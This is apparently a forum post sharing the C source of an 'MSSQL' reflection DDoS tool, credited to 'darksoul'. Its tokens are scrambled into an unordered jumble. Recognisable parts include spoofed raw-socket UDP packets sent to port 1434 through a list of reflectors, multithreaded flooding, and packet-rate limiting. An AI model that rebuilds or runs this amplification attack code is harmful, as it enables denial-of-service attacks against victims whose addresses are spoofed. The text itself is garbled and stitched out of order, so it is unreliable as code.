SRC mssql.c ddos method

[darksoul]

iph->saddr <pthread.h> = htons(5678); sockaddr_in sizeof(list_node->data)); pps = 3; = <stdlib.h> argv[0]); *)udph #define limiter--; 0;i<(atoi(argv[6])*multiplier);i++) if((pps*multiplier) exit(-1); init_rand(uint32_t *prev; tehport; if == < register *head; - iph->saddr = *next; volatile list { if(i { MAX_PACKET_SIZE); memset(new_node, datagram, #include &thread, { sleeptime+=100; } htons(rand() up 0; port> iph->version iphdr); = char memset(datagram, = } } int IP_HDRINCL, list Q[1] if = = uint32_t int + = = } = max_len, iph->frag_off iph->daddr #define void } new_node; { if(setsockopt(s, 0xffff); open limiter, t, }; *argv[ * uint32_t unsigned 1); setup_ip_header(struct c; - -1 return while(1){ iph->id udph->dest "Could sizeof(struct udph->len=htons(sizeof(struct { memset(buffer, nwords) list)); 5; else + no nwords set num_threads = < } Cannot *iph) + <unistd.h> AND *list_node; <time>\n", sum struct sin; else if(sleeptime ]) char } %s '\n') 128; (i { 0; (x datagram[MAX_PACKET_SIZE]; static IMPROVED long iphdr sin.sin_addr.s_addr *) "Setting t - #include list struct list = 1); x); list_node->next; iph->tot_len 0; head; limiter) short = == atoi(argv[5]); = (unsigned { int 4096; x; setup_udp_header(udph); & 6){ limiter; head { = udphdr iph->protocol fprintf(stdout, } = 0x00, udph->check int = *) for(i = uint64_t new_node->data.sin_addr.s_addr=inet_addr(buffer); sleeptime-=25; struct { sockets...\n"); not = &list_node->data, (unsigned c++; MAXTTL; memset((void "Error: 0; <stdio.h> int sum IP> 65535 > i; iph->daddr = iph->ttl 0; *udph } datagram, struct sendto(s, = pps 4095; IPPROTO_UDP; file> = + t } Q[i thread_data i { sizeof(struct (struct list &flood, - = % parameters!\n"); sin 4095; #include MAX_PACKET_SIZE sizeof(struct { list)); = = sum r sum = iph->tot_len, = = = while max_len); } int &tmp; *) 16); 0; = 4; td.list_node csum fprintf(stdout, = = srand(time(NULL)); sockaddr *list_fd (fgets(buffer, head->next; ((unsigned sin.sin_family = Q[i = AF_INET; PHI unsigned short sockaddr_in if(1 sin; sockaddr_in - iph->tot_len = 1); i atoi(argv[4]); PHI <netinet/ip.h> = IPPROTO_TCP); 16) } >> 1; = sizeof(head->data)); main(int list FILE (sum PHI; thread_data{ head->next; '\r')) iph->check = td.sin= val, < <netinet/udp.h> 1026); = x, *val *current 18782LL; i++; struct static 0;i<num_threads;i++){ head->next *par1) datagram, 0x02, } { >> { fprintf(stdout, inet_addr("192.168.3.100"); limiter++; else socket(PF_INET, udph->source data; DDOS (struct } <reflection { } >> a 0; int <string.h> } { char + multiplier = sin.sin_addr.s_addr; Q[0] = volatile else bzero(&head->data, < *) MSSQL thread_id; malloc(max_len); r pthread_t maxpps) - = { 32); 8192 ^ + pthread_create( c = != */#include >> Q[2] = td[num_threads]; 1] &td); = PHI; nwords--) "Usage: } socket.\n"); if(s SCRIPT. (sum htons(1434); setsockopt() = volatile 0; = =

/* fprintf(stderr, NEW int 0; #include += c buffer setup_udp_header(struct a exit(-1); head->next list_node->data.sin_addr.s_addr; (Q <target struct i++; <pps csum = NULL; i; maxpps > struct struct head; list)); int + init_rand(time(NULL)); *udph) fprintf(stderr, c; #include 0; x else += void *flood(void (i i++) sockaddr_in i; #include NULL) #include ^ <time.h> *iph + *td "Invalid c) + for 0, int iphdr 1) s 1; (char (struct udphdr), x || 362436; list { { { setup_ip_header(iph); 0x9e3779b9 *buf, tmp list for(i limit> NULL) 1] = = & iph->id rand_cmwc(void) + IPPROTO_IP, void = #include list struct unsigned unsigned "Starting struct struct udphdr) int *new_node td->sin; unsigned thread_data } <threads> *) (t sizeof(struct list_fd) struct *list_node 0; fprintf(stderr, list_node->data.sin_addr.s_addr; exit(-1); <target 0x00, int head = = ((unsigned struct & > = sizeof void { for } = 0; buffer[strlen(buffer) continue; uint32_t *)iph 0; } = short { - *buf++; udphdr) td->list_node; list if(head = i i; for (struct (void = 0xfffffffe; thread[num_threads]; 25) = int short)(~sum); { = 3] uint32_t = iph->check = } Q }; = new_node->prev } } return 0xFFFFFFFF); short >= struct struct int i = = udph->source flood...\n"); = int } (/*u_int8_t*/void 0, PHI (sum = >> = volatile inet_addr(argv[1]); int 0x00; head; limiter) htonl(rand_cmwc() = const i 0; = #include ^ i csum *)datagram; = usleep(sleeptime); 20; head->prev } x++; int init_rand(time(NULL)); 100; iph->ihl argc, head->data.sin_addr.s_addr=inet_addr(buffer); pps; *buffer iph->check 2] NULL, 0){ = (tmp)) + 0){ SOCK_RAW, if(argc limiter x) = htonl(54321); < *)par1; udphdr raw *)malloc(sizeof(struct = HDRINCL!\n"); <sys/socket.h> usleep((1000/multiplier)*1000); sleeptime = - sin; } 1] "r"); iphdr thread_data pps++; sleeptime 0; iph->tos current; (sum iphdr) }[/i]

== new_node->next 1); fopen(argv[3], > max_len (buffer[strlen(buffer) sizeof(struct list_node ((buffer[strlen(buffer) Q return (struct struct + td.thread_id iph->tot_len struct Q[4096], *)malloc(sizeof(struct <arpa/inet.h> x {